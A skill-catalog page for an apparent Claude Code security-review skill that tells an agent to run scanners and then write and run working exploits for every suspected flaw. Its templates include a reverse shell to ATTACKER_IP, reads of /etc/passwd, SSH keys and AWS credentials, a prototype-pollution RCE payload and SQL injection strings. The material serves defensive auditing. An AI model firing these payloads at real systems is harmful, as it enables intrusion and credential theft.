
Security Review
- 71 installs
- 7 repo stars
- Updated February 3, 2026
- dilaz/security-review-skill
Run a disciplined security review that combines scanners and manual analysis and only reports issues backed by working exploit proof-of-concepts.
About
security-review is an agent skill for solo builders who cannot afford “maybe vulnerable” noise before they ship SaaS, APIs, or CLI tools that touch user data. It encodes a strict workflow: start with automated scanners, deepen with manual code review focused on input handling, subprocesses, filesystem access, and outbound requests, and treat every suspected issue as unproven until you write and run a proof-of-concept exploit. That Iron Law keeps your agent from flooding you with theoretical CVE chatter and instead produces a short list of demonstrated risks with severity labels. It pairs naturally with code review skills for logic bugs but goes further into attacker mindset. Use it when hardening a feature branch, responding to a security ask, or validating a dependency-heavy integration before launch—not for everyday refactors with no trust boundary.
- Iron Law: no finding is confirmed without a working exploit PoC
- Workflow: automated scanners → manual review → exploit → severity documentation → report
- Explicit branches for false positives and continued review coverage
- Triggers on user input, command execution, file reads, and network-facing code paths
- Outputs findings with documented severity only after successful exploitation
Security Review by the numbers
- 71 all-time installs (skills.sh)
- Ranked #1,165 of 2,203 Security skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Jul 29, 2026 (Skillselion catalog sync)
npx skills add https://github.com/dilaz/security-review-skill --skill security-reviewAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 71 |
|---|---|
| repo stars | ★ 7 |
| Security audit | 0 / 3 scanners passed |
| Last updated | February 3, 2026 |
| Repository | dilaz/security-review-skill ↗ |
What it does
Run a disciplined security review that combines scanners and manual analysis and only reports issues backed by working exploit proof-of-concepts.
Files
Security Review & Exploit Development
Overview
Systematic security review using automated tools AND manual analysis, with working proof-of-concept exploits for every finding. No vulnerability is confirmed until exploited.
The Iron Law
NO FINDING WITHOUT A WORKING EXPLOITSuspecting a vulnerability is worthless. You must prove exploitation.
Workflow
digraph security_review {
"Start review" [shape=doublecircle];
"Run automated scanners" [shape=box];
"Manual code review" [shape=box];
"Vulnerability found?" [shape=diamond];
"Write exploit PoC" [shape=box];
"Exploit works?" [shape=diamond];
"Document with severity" [shape=box];
"Mark as false positive" [shape=box];
"More to review?" [shape=diamond];
"Generate report" [shape=doublecircle];
"Start review" -> "Run automated scanners";
"Run automated scanners" -> "Manual code review";
"Manual code review" -> "Vulnerability found?";
"Vulnerability found?" -> "Write exploit PoC" [label="yes"];
"Vulnerability found?" -> "More to review?" [label="no"];
"Write exploit PoC" -> "Exploit works?";
"Exploit works?" -> "Document with severity" [label="yes"];
"Exploit works?" -> "Mark as false positive" [label="no"];
"Document with severity" -> "More to review?";
"Mark as false positive" -> "More to review?";
"More to review?" -> "Vulnerability found?" [label="yes"];
"More to review?" -> "Generate report" [label="no"];
}Phase 1: Automated Scanning
Run ALL applicable tools. Don't skip tools because "manual review is enough."
Static Analysis (SAST)
# Opengrep - Multi-language SAST (preferred over semgrep)
opengrep scan --config=auto --config=p/security-audit --config=p/owasp-top-ten .
# Bandit - Python security linter
bandit -r . -f json -o bandit-report.json
# ast-grep - Custom pattern matching (write rules for project-specific issues)
ast-grep scan --rule security-rules/
# ESLint security plugin (JS/TS)
npx eslint --plugin security --rule 'security/detect-child-process: error' .
# Gosec - Go security checker
gosec -fmt=json -out=gosec-report.json ./...Dependency Scanning (SCA)
# Trivy - Comprehensive vulnerability scanner
trivy fs --scanners vuln,secret,misconfig .
# Grype - Fast vulnerability scanner
grype dir:. -o json > grype-report.json
# pip-audit - Python dependencies
pip-audit --format=json -o pip-audit.json
# npm audit - Node.js dependencies
npm audit --json > npm-audit.json
# govulncheck - Go dependencies
govulncheck ./...Secret Detection
# Gitleaks - Find secrets in git history
gitleaks detect --source . --report-path gitleaks-report.json
# Trufflehog - Deep secret scanning
trufflehog filesystem . --json > trufflehog-report.jsonContainer/Infrastructure
# Trivy for containers
trivy image --severity HIGH,CRITICAL <image-name>
# Checkov for IaC
checkov -d . --framework terraform,kubernetes,dockerfilePhase 2: Manual Code Review
Focus on these vulnerability categories in order of severity:
Critical: Injection Vulnerabilities
| Type | Pattern to Find | Grep Command |
|---|---|---|
| Command Injection | exec, spawn, system, eval | `grep -rn "exec\ |
| SQL Injection | String concatenation in queries | grep -rn "query.*\+" --include="*.ts" |
| Path Traversal | readFile, resolve without validation | `grep -rn "readFileSync\ |
| Template Injection | User input in templates | `grep -rn "render\ |
High: Authentication/Authorization
| Type | Pattern to Find |
|---|---|
| Missing auth checks | Routes without middleware |
| Hardcoded credentials | password, secret, key in code |
| Weak crypto | md5, sha1, Math.random |
Medium: Data Exposure
| Type | Pattern to Find |
|---|---|
| Sensitive data in logs | console.log, logger with user data |
| Error message leakage | Full stack traces returned to client |
| Insecure storage | Credentials in config files |
Phase 3: Exploit Development
Every vulnerability MUST have a working exploit.
Command Injection Exploit Template
// exploit-cmd-injection.ts
import { execSync } from 'child_process'
const VULNERABLE_ENDPOINT = 'http://localhost:3000/api/diff'
// Test payloads - escalate from detection to impact
const payloads = [
// Detection: Does injection work?
{ input: '$(echo VULNERABLE)', detect: 'VULNERABLE' },
// Information gathering
{ input: '$(whoami)', detect: /\w+/ },
{ input: '$(id)', detect: /uid=/ },
// File read
{ input: '$(cat /etc/passwd)', detect: 'root:' },
// Reverse shell (for authorized pentests only)
{ input: '$(bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)', detect: null },
]
async function exploit() {
for (const { input, detect } of payloads) {
const response = await fetch(VULNERABLE_ENDPOINT, {
method: 'POST',
body: JSON.stringify({ files: [input] }),
})
const result = await response.text()
if (detect && result.match(detect)) {
console.log(`[+] Payload worked: ${input}`)
console.log(`[+] Output: ${result}`)
}
}
}Path Traversal Exploit Template
// exploit-path-traversal.ts
const traversalPayloads = [
'../../../etc/passwd',
'....//....//....//etc/passwd',
'/etc/passwd',
'/proc/self/environ', // Leaks environment variables
'/home/user/.ssh/id_rsa',
'/home/user/.aws/credentials',
]
async function exploitPathTraversal(endpoint: string) {
for (const payload of traversalPayloads) {
const response = await fetch(endpoint, {
method: 'POST',
body: JSON.stringify({ files: [payload] }),
})
const result = await response.text()
if (result.includes('root:') || result.includes('AWS_')) {
console.log(`[+] Path traversal successful: ${payload}`)
return result
}
}
}Dependency Exploit Template
// exploit-dependency.ts
// When a vulnerable dependency is found, search for:
// 1. Public exploits: searchsploit, exploit-db, GitHub
// 2. CVE details for exploitation steps
// Example: Exploiting known prototype pollution
const payload = {
"__proto__": { "admin": true }
}
// Example: Exploiting known RCE in library
const rcePayload = {
"constructor": {
"prototype": {
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
}
}
}SQL Injection Exploit Template
// exploit-sqli.ts
const sqlPayloads = [
// Detection
"' OR '1'='1",
"1; SELECT 1--",
// Union-based extraction
"' UNION SELECT username,password FROM users--",
// Time-based blind
"'; WAITFOR DELAY '0:0:5'--",
"' AND SLEEP(5)--",
// Error-based extraction
"' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
]Phase 4: Severity Classification
| Severity | Criteria | Examples |
|---|---|---|
| Critical | RCE, full system compromise, auth bypass | Command injection, SQL injection with admin access |
| High | Significant data breach, privilege escalation | Path traversal to sensitive files, IDOR |
| Medium | Limited data exposure, DoS | Error message leakage, resource exhaustion |
| Low | Minor information disclosure | Version disclosure, missing headers |
Report Template
## Finding: [Vulnerability Name]
**Severity:** Critical/High/Medium/Low
**Location:** `file.ts:42`
**CWE:** CWE-XXX
### Description
[What is the vulnerability and why it's dangerous]
### Vulnerable Code// The vulnerable code snippet
### Proof of Concept
Command to exploit
curl -X POST http://target/api -d '{"payload": "$(id)"}'
**Result:**uid=1000(user) gid=1000(user) groups=1000(user)
### Impact
- What an attacker can achieve
- Data at risk
- Business impact
### Remediation// Fixed code
### References
- CVE-XXXX-XXXXX
- OWASP referenceTool Installation
# Install all security tools
pip install opengrep bandit pip-audit
npm install -g eslint eslint-plugin-security
go install github.com/securego/gosec/v2/cmd/gosec@latest
go install golang.org/x/vuln/cmd/govulncheck@latest
# Trivy
brew install trivy # macOS
# or: curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh
# Grype
brew install grype # macOS
# or: curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh
# Gitleaks
brew install gitleaks # macOS
# or: go install github.com/gitleaks/gitleaks/v8@latest
# ast-grep
npm install -g @ast-grep/cliRed Flags - STOP
If you find yourself thinking:
- "This looks suspicious but I'll note it without testing" - STOP. Write exploit first.
- "Manual review is enough, tools are overkill" - STOP. Run the tools.
- "The exploit is obvious, I don't need to verify" - STOP. Execute and prove it.
- "I'll skip dependency scanning, code review covers it" - STOP. Run SCA tools.
Quick Reference
| Tool | Purpose | Command |
|---|---|---|
| opengrep | SAST multi-language | opengrep scan --config=auto . |
| bandit | Python SAST | bandit -r . |
| trivy | Vuln + secrets | trivy fs . |
| grype | Dependency vulns | grype dir:. |
| gitleaks | Secret detection | gitleaks detect --source . |
| govulncheck | Go dependencies | govulncheck ./... |
| pip-audit | Python deps | pip-audit |
| npm audit | Node deps | npm audit |
| ast-grep | Custom patterns | ast-grep scan |
# Security scan outputs
*-report.json
*.log
# OS files
.DS_Store
Thumbs.db
# Editor files
*.swp
*.swo
*~
.idea/
.vscode/
MIT License
Copyright (c) 2025 Risto "Dilaz" Viitanen
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Security Review Skill for Claude Code
A comprehensive security review skill that enables Claude Code to perform systematic security audits with working proof-of-concept exploits for every finding.
The Iron Law
NO FINDING WITHOUT A WORKING EXPLOITSuspecting a vulnerability is worthless. This skill requires proving exploitation.
What It Does
- Automated Scanning: Runs SAST, SCA, secret detection, and infrastructure scanning tools
- Manual Code Review: Systematic review for injection, auth, and data exposure vulnerabilities
- Exploit Development: Creates working PoC exploits for every vulnerability found
- Severity Classification: CVSS-aligned severity ratings with business impact
- Structured Reporting: Professional security reports with remediation guidance
Installation
Option 1: Clone to skills directory
git clone https://github.com/dilaz/security-review-skill.git ~/.claude/skills/security-reviewOption 2: Copy the skill file
mkdir -p ~/.claude/skills/security-review
curl -o ~/.claude/skills/security-review/SKILL.md https://raw.githubusercontent.com/dilaz/security-review-skill/main/SKILL.mdUsage
The skill activates automatically when you:
- Ask Claude Code to perform a security audit
- Request vulnerability assessment or penetration testing
- Ask it to find security issues in code
- Review code that handles user input, executes commands, reads files, or makes network requests
Example prompts:
- "Review this codebase for security vulnerabilities"
- "Find security issues in the authentication system"
- "Perform a security audit of this API"
Required Tools
The skill uses these security tools (install as needed):
Static Analysis (SAST)
pip install opengrep bandit
npm install -g eslint eslint-plugin-security
go install github.com/securego/gosec/v2/cmd/gosec@latest
npm install -g @ast-grep/cliDependency Scanning (SCA)
brew install trivy grype # macOS
pip install pip-audit
go install golang.org/x/vuln/cmd/govulncheck@latestSecret Detection
brew install gitleaks # macOS
# trufflehog: https://github.com/trufflesecurity/trufflehogWorkflow
Start Review
↓
Run Automated Scanners (SAST, SCA, secrets)
↓
Manual Code Review (injection, auth, data exposure)
↓
Vulnerability Found? → Write Exploit PoC
↓
Exploit Works? → Document with Severity
↓
Generate ReportLicense
MIT
Related skills
FAQ
Is Security Review safe to install?
skills.sh reports 0 of 3 security scanners passed. Review the Security Audits panel on this page before installing in production.